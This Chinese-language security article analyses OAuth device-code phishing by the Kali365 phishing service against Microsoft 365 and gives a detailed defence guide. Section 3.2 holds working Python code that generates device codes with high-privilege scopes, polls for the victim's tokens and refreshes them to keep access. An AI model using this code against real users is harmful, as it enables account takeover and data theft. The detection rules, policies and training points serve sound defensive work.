一、预警背景:一场改写身份攻防规则的新型攻击
2026年5月21日,美国联邦调查局(FBI)互联网犯罪投诉中心(IC3)发布编号I-052126-PSA的紧急公共安全预警,直指商业化钓鱼即服务(PhaaS)平台Kali365。该平台将OAuth 2.0设备授权码流(RFC 8628)完整武器化,无需伪造登录页面、无需窃取用户密码,即可让受害者主动完成全部多因素认证(MFA)流程,最终劫持Microsoft 365账号权限。
截至预警发布时,Kali365平台已批量注册2300余个仿冒微软域名,攻击覆盖全球18个国家,政企、金融、医疗、教育机构成为核心目标。更值得警惕的是,同期EvilTokens、Tycoon2FA等同类平台同步爆发,2026年全球设备码钓鱼页面检测量同比暴涨37.5倍,身份攻击已从“凭证窃取”正式进入“协议滥用”的新阶段。
本文将从协议原生机制、攻击武器化原理、黑产平台能力、代码级复现、企业落地防御、未来攻防趋势六大维度,完整拆解这一新型身份威胁,为企业提供可直接落地的防护方案与应急处置流程。
二、OAuth 2.0设备授权码流:为IoT设计的合法协议
设备授权码流(Device Authorization Grant)由IETF在RFC 8628中正式标准化,是专门为无浏览器、输入能力受限的IoT设备(智能电视、打印机、机顶盒、游戏主机)设计的授权机制。微软Entra ID(原Azure AD)、Google Workspace、GitHub等主流云平台均原生支持该协议。
2.1 标准授权流程与时序逻辑
正常场景下,设备码流的完整链路完全运行在可信体系内,用户全程在官方域名完成身份验证,设计初衷是提升低交互设备的登录安全性。
2.2 核心参数与安全设计
协议中的两类核心验证码承担不同安全职能:
- user_code(用户验证码):短字符串(如
ABC12345),面向用户展示,用于在验证页面绑定用户与设备,仅用于身份关联,无令牌获取能力。 - device_code(设备轮询码):长随机字符串,仅保存在设备本地,用于后台轮询令牌接口,对用户完全不可见。
- 验证URI:统一为官方域名
microsoft.com/link,确保用户在可信环境完成认证。
正常流程中,设备码与用户一一绑定,且有严格的过期时间(默认15分钟),用户在自身可信终端完成认证,安全性经过工业界多年验证。
下图为微软官方设备验证页面,也是钓鱼攻击中用户实际访问的页面——全程为微软官方域名,浏览器显示安全锁标识,用户无法通过外观判断风险。
三、武器化滥用:为什么MFA会完全失效?
传统钓鱼攻击的核心是伪造登录页面,窃取用户密码,再试图绕过MFA;而设备码钓鱼完全跳出了这个逻辑——它让用户在100%官方可信的环境中,主动替攻击者完成全部身份验证流程,MFA不仅无法拦截,反而成为攻击闭环的必要环节。
3.1 攻击完整链路拆解
攻击者无需任何漏洞利用,仅通过合法API调用即可完成完整攻击,链路全程符合OAuth协议规范。
3.2 代码级攻击复现
设备码接口为公开无鉴权接口,攻击者仅需一个合法的Azure AD应用客户端ID(client_id),即可批量生成设备验证码,攻击成本几乎为零。
步骤1:调用官方接口生成设备码
importrequests# 微软Entra ID公开设备码端点,无需任何身份校验DEVICE_CODE_ENDPOINT="https://login.microsoftonline.com/common/oauth2/v2.0/devicecode"TOKEN_ENDPOINT="https://login.microsoftonline.com/common/oauth2/v2.0/token"# 黑产可批量注册多租户应用获取合法client_idMALICIOUS_CLIENT_ID="恶意应用客户端ID"# 请求全量高权限范围,一次性获取邮件、网盘、通讯录权限REQUEST_SCOPE="openid profile offline_access Mail.ReadWrite Files.ReadWrite.All User.Read.All"defgenerate_device_code():payload={"client_id":MALICIOUS_CLIENT_ID,"scope":REQUEST_SCOPE}response=requests.post(DEVICE_CODE_ENDPOINT,data=payload)ifresponse.status_code==200:result=response.json()print(f"[+] 用户验证码:{result['user_code']}")print(f"[+] 官方验证地址:{result['verification_uri']}")print(f"[+] 设备轮询码(攻击者持有):{result['device_code']}")print(f"[+] 有效期:{result['expires_in']}秒")returnresultelse:print(f"[-] 生成失败:{response.text}")returnNoneif__name__=="__main__":device_info=generate_device_code()步骤2:后台轮询获取访问令牌
用户完成授权后,攻击者后台自动轮询令牌接口,获取账号控制权:
importtimedefpoll_access_token(device_code,poll_interval=5):payload={"grant_type":"urn:ietf:params:oauth:grant-type:device_code","client_id":MALICIOUS_CLIENT_ID,"device_code":device_code}whileTrue:response=requests.post(TOKEN_ENDPOINT,data=payload)result=response.json()ifresponse.status_code==200:print("\n[✅] 用户授权完成,成功获取令牌!")print(f"[+] 访问令牌:{result['access_token'][:60]}...")print(f"[+] 刷新令牌:{result['refresh_token'][:60]}...")print(f"[+] 令牌有效期:{result['expires_in']}秒")returnresultelifresult.get("error")=="authorization_pending":print("[⏳] 等待用户完成授权...")time.sleep(poll_interval)elifresult.get("error")=="expired_token":print("\n[❌] 设备码已过期,攻击终止")returnNoneelse:print(f"\n[❌] 异常错误:{result}")returnNone步骤3:持久化驻留:刷新令牌的长效性
攻击者获取的refresh_token默认有效期长达90天,且支持滚动续期——即使用户修改账号密码、重置MFA设备,刷新令牌依然有效,攻击者可长期持有账号权限:
defrefresh_token(refresh_token_value):payload={"grant_type":"refresh_token","client_id":MALICIOUS_CLIENT_ID,"refresh_token":refresh_token_value,"scope":REQUEST_SCOPE}response=requests.post(TOKEN_ENDPOINT,data=payload)ifresponse.status_code==200:print("[🔄] 刷新令牌成功,获得全新访问凭证")returnresponse.json()else:print(f"[-] 刷新失败:{response.text}")returnNone3.3 MFA失效的核心本质
传统MFA的防护逻辑是:攻击者窃取密码后,无法通过二次验证环节。但设备码钓鱼彻底颠覆了这个逻辑:
- 用户在官方域名完成操作,不存在伪造页面,MFA的域名绑定机制(如FIDO2)完全不触发拦截;
- 用户主动为攻击者的“恶意设备”完成授权,MFA是授权流程的必要步骤,用户亲手完成了全部验证;
- 令牌直接下发给攻击者控制的客户端,而非用户设备,整个过程没有任何“非法入侵”特征。
简单来说:MFA只能证明“是你本人在操作”,但无法判断“你操作的授权是给谁的”。这也是所有基于协议滥用的身份攻击的核心破局点。
四、Kali365平台:黑产产业化的钓鱼即服务
Kali365并非首个设备码钓鱼工具,但它是首个将完整攻击流程SaaS化、形成完整商业闭环的钓鱼即服务平台,直接将攻击门槛降至几乎为零。
4.1 平台核心能力矩阵
Kali365采用订阅制商业模式,基础版月租250美元,高级版支持API对接与定制化功能,内置五大核心模块,覆盖从钓鱼投递到令牌管理的全链路:
| 模块名称 | 核心功能 | 攻击价值 |
|---|---|---|
| 域名集群系统 | 批量注册同形异义域名、自动配置SSL、按IP地域跳转语种 | 规避黑名单拦截,降低用户警惕性 |
| AI诱饵引擎 | 内置大模型生成个性化钓鱼文案,支持12种语言 | 钓鱼点击率较传统模板提升300%+ |
| 令牌管理面板 | 实时捕获令牌、一键登录365、批量导出数据 | 降低攻击者操作门槛,提升变现效率 |
| 辅助攻击工具 | 邮件转发规则配置、BEC话术生成、通讯录导出 | 延长驻留周期,提升攻击收益 |
| 流量伪装模块 | 第三方短链跳转、多层流量转发 | 规避邮件沙箱与安全网关检测 |
4.2 规模化攻击的基础设施
2300+恶意域名集群
平台大量使用IDN同形异义字攻击(Homograph Attack),例如用西里尔字母о替换拉丁字母o,注册肉眼几乎无法分辨的仿微软域名;同时批量注册包含device-auth、verify-account、office365-link等关键词的域名,配套低价DV级SSL证书,在浏览器地址栏显示安全锁标识。全球化地域覆盖
平台支持按受害者IP自动匹配对应语言的钓鱼页面与诱饵文案,攻击已覆盖美国、中国、英国、德国等18个国家,重点瞄准拥有大量微软365用户的政企机构。
4.3 黑产生态的扩散效应
Kali365的出现标志着设备码钓鱼从小众技术手段转向大众化黑产工具。FBI预警显示,同期已有EvilTokens、Tycoon2FA等十余款同类PhaaS平台上线,黑产从业者无需任何技术基础,付费订阅即可发起大规模MFA绕过攻击,未来中小企业将成为重灾区。
五、攻击危害边界:远超传统账号窃取
设备码钓鱼带来的危害远大于传统密码窃取,其持久性、隐蔽性、破坏力均处于身份攻击的第一梯队。
5.1 全量云资源无限制访问
攻击者获取令牌后,可通过Microsoft Graph API访问账号下所有授权资源,包括但不限于:
- Outlook邮件的读取、发送、转发规则配置
- Teams聊天记录与文件访问
- OneDrive、SharePoint全量文件读写
- 企业全局通讯录与日历信息
- 若账号具备管理员权限,可直接访问Azure门户、修改租户安全策略
5.2 常规处置手段完全失效
这是该攻击最危险的特性:
- 修改密码无效:刷新令牌与账号密码无绑定关系,密码重置不会自动吊销已颁发的刷新令牌;
- 重置MFA无效:授权已完成,令牌颁发给客户端设备,与用户MFA设备无绑定关系;
- 传统安全工具无感:全程流量均为微软官方域名,无恶意代码、无伪造页面,邮件网关、EDR、防火墙均无特征可拦。
5.3 高阶危害:BEC欺诈与横向渗透
- 商业邮件欺诈(BEC):攻击者可直接从受害者真实邮箱发送邮件,SPF/DKIM/DMARC全部验证通过,冒充高管向财务部门发送付款指令,成功率极高,已造成多起百万级资金损失。
- 租户级横向渗透:若劫持账号具备全局管理员权限,攻击者可创建后门账号、修改安全策略、禁用条件访问,最终接管整个企业云租户。
- 数据泄露与勒索:批量窃取企业核心业务数据、客户信息,既可用于倒卖牟利,也可作为勒索筹码。
六、企业级分层防御体系落地指南
针对设备码钓鱼攻击,单一的MFA、邮件网关、员工培训均无法形成有效防护,必须从协议管控、权限治理、检测告警、应急处置四个维度构建分层防御体系。
6.1 核心防线:Entra ID协议级管控
防御设备码攻击最直接、最高效的手段,是从身份提供商层面限制或禁用设备授权流,从根源关闭攻击入口。
(1)全局禁用设备码授权流(无IoT场景必做)
若企业无智能电视、打印机、会议室终端等需要设备码登录的IoT设备,建议全局禁用该协议。
图形化配置路径:
Entra ID → 条件访问 → 新建策略 →
- 用户:包含所有用户,排除必要服务账号
- 云应用:包含所有云应用
- 条件 → 客户端应用:勾选「移动应用和桌面客户端」,排除浏览器
- 授予:选择「阻止访问」
- 启用策略:开
PowerShell批量配置命令:
# 安装Microsoft Graph模块Install-ModuleMicrosoft.Graph.Identity.SignIns-Scope CurrentUserConnect-MgGraph-Scopes"Policy.ReadWrite.ConditionalAccess"# 创建全局阻止设备码流策略$policyParams= @{DisplayName ="Block-Device-Code-Authorization-All"State ="enabled"Conditions = @{Users = @{IncludeUsers = @("All")}Applications = @{IncludeApplications = @("All")}ClientAppTypes = @("mobileAppsAndDesktopClients")}GrantControls = @{Operator ="OR"BuiltInControls = @("block")}}New-MgIdentityConditionalAccessPolicy-BodyParameter$policyParams注意:若企业存在IoT设备使用需求,仅将对应设备的服务账号添加到策略排除名单,严格控制白名单范围。
(2)OAuth应用权限治理
- 开启管理员同意工作流,禁止用户自行授权第三方应用,所有OAuth应用授权必须经管理员审批;
- 每季度审计租户内所有OAuth应用授权,清理未知、闲置、高权限应用;
- 禁止用户向多租户应用授予高权限,限制
Files.ReadWrite.All、Mail.ReadWrite等敏感权限的授权范围。
OAuth授权审计PowerShell命令:
Connect-MgGraph-Scopes"Application.Read.All","Directory.Read.All"# 导出全租户用户OAuth授权记录Get-MgUserOAuth2PermissionGrant-All|Select-ObjectClientId,PrincipalDisplayName,Scope|Export-Csv-Path"OAuth_Permission_Audit.csv"-Encoding UTF8(3)收缩令牌生命周期
将默认90天的刷新令牌有效期缩短至7天以内,降低令牌泄露后的风险窗口:
Connect-MgGraph-Scopes"Policy.ReadWrite.ApplicationConfiguration"# 创建短有效期令牌策略$tokenPolicy= @{DisplayName ="Short-Refresh-Token-Policy"Definition = @('{"TokenLifetimePolicy":{"Version":1,"RefreshTokenLifetime":"7.00:00:00"}}')IsOrganizationDefault =$true}New-MgPolicyTokenLifetimePolicy-BodyParameter$tokenPolicy6.2 检测防线:SIEM异常行为告警
通过身份日志与行为分析,及时发现异常设备码授权事件,缩短攻击响应时间。以下为可直接导入Microsoft Sentinel的KQL检测规则:
// 检测规则:异常设备码授权行为 // 触发条件:单用户单日出现3次以上设备码令牌颁发,或授权后异地IP访问资源 SigninLogs | where OperationName == "Device code flow token issued" | where ResultType == 0 | summarize IssuedCount = count(), IPList = make_set(IPAddress) by UserPrincipalName, AppDisplayName | where IssuedCount >= 3 | join kind=leftouter ( AuditLogs | where OperationName == "Consent to application" | where Result == "success" | project UserPrincipalName, ConsentIP = ClientIP, ConsentTime = TimeGenerated ) on UserPrincipalName | project UserPrincipalName, AppDisplayName, IssuedCount, IPList, ConsentIP, ConsentTime | order by IssuedCount desc补充检测规则:
- 无IoT设备的租户,出现任何设备码授权事件即触发高危告警;
- 设备码授权后1小时内,出现跨省份/境外IP访问邮件、SharePoint资源;
- 非工作时间、非常用登录地点触发的设备码授权。
6.3 边界防线:邮件与终端安全
- 邮件网关配置:拦截外部邮件中包含
microsoft.com/link、「设备验证码」、「输入授权码」等关键词的邮件,仅将已知IoT设备的官方通知加入白名单; - 终端EDR防护:监控异常进程频繁调用微软设备码API的行为,拦截未知客户端的令牌轮询请求;
- 威胁情报联动:同步FBI发布的2300+恶意域名清单,在防火墙、DNS服务器层面批量封禁。
6.4 基础防线:员工安全意识培训
员工是攻击的最终触发点,针对性的意识培训可大幅降低攻击成功率,核心培训要点:
- 微软官方绝不会通过邮件、短信、微信主动发送设备验证码,要求用户访问链接输入;
microsoft.com/link页面仅用于自身操作的设备登录(如打印机、游戏主机),非主动发起的操作一律拒绝;- 收到含设备验证码的可疑通知,直接联系IT部门核验,切勿自行操作。
6.5 入侵应急处置流程
一旦发现设备码钓鱼入侵,必须按以下流程处置,仅修改密码会导致处置不彻底:
- 立即吊销所有刷新令牌(核心步骤):
Revoke-MgUserSignInSession-UserId"victim@company.com" - 移除该账号下所有未知第三方OAuth应用授权;
- 重置账号密码,重新绑定MFA设备,优先升级为FIDO2硬件密钥;
- 审计账号过去90天内的所有操作日志,排查邮件转发、文件下载、权限变更等行为;
- 全租户扫描同类设备码授权事件,排查批量入侵风险;
- 溯源攻击入口,更新邮件网关与安全策略,避免同类攻击再次发生。
七、攻防前沿趋势与未来演进
设备码钓鱼的爆发并非孤立事件,它代表着身份攻击从“利用漏洞”向“滥用合法协议”的范式转移,未来攻防双方的博弈将围绕以下方向展开。
7.1 认知误区:FIDO2无法完全防御设备码攻击
行业普遍存在一个认知误区:FIDO2硬件密钥是抗钓鱼的终极方案。但事实上,FIDO2的抗钓鱼能力仅针对伪造域名的传统钓鱼——它通过绑定依赖方ID(RP ID),确保用户只在真实域名完成认证。
而设备码钓鱼中,用户访问的是100%真实的微软官方域名,FIDO2会正常完成身份验证,帮助用户完成授权。也就是说,FIDO2依然无法阻止用户主动给恶意设备授权,它解决的是“登录真假网站”的问题,解决不了“授权给对不对的设备”的问题。
7.2 攻击演进方向
- 跨平台扩散:目前攻击集中在微软365,但Google Workspace、GitHub、AWS IAM Identity Center等所有支持RFC 8628的平台都存在相同风险,未来将出现跨平台的通用设备码钓鱼工具。
- AI深度赋能:大模型将进一步提升钓鱼诱饵的个性化程度,结合受害者的公开社交信息、行业特征生成完全定制化的文案,甚至实现对话式钓鱼,识别难度将指数级上升。
- 更隐蔽的授权方式:黑产将探索更多OAuth合法流程的滥用,比如代理令牌、资源所有者密码流等,攻击将更加隐蔽,更难通过特征检测。
7.3 防御体系的演进
- 从身份验证转向授权上下文校验:未来的身份安全不能只验证“是谁”,还要验证“为什么授权”“授权是否合理”。零信任架构下,每次设备码授权都需要校验设备环境、网络位置、操作时序、业务合理性,异常授权自动阻断。
- 协议层面的安全增强:主流云厂商可能会对设备码流进行安全升级,比如增加用户授权时的风险提示、展示申请授权的应用详情、限制单用户设备码申请频率等。
- 身份威胁检测与响应(ITDR):专门针对身份层攻击的检测与响应体系将成为企业安全建设的标配,从日志审计转向实时行为分析,主动发现异常授权与令牌滥用。
八、写在最后
Kali365平台的爆发给所有企业敲响了警钟:传统的“密码+MFA”身份防护体系已经不足以应对新型协议滥用攻击。当攻击者不再需要破解密码、不再需要伪造页面,只需要利用合法的协议设计就能绕开全部安全防线时,企业的安全建设思路也必须随之升级。
身份安全的下一个战场,不在边界,而在协议与权限本身。只有从根源管控授权流程、全生命周期治理令牌、构建多层检测体系,才能在这场身份攻防的新范式中守住企业的核心资产。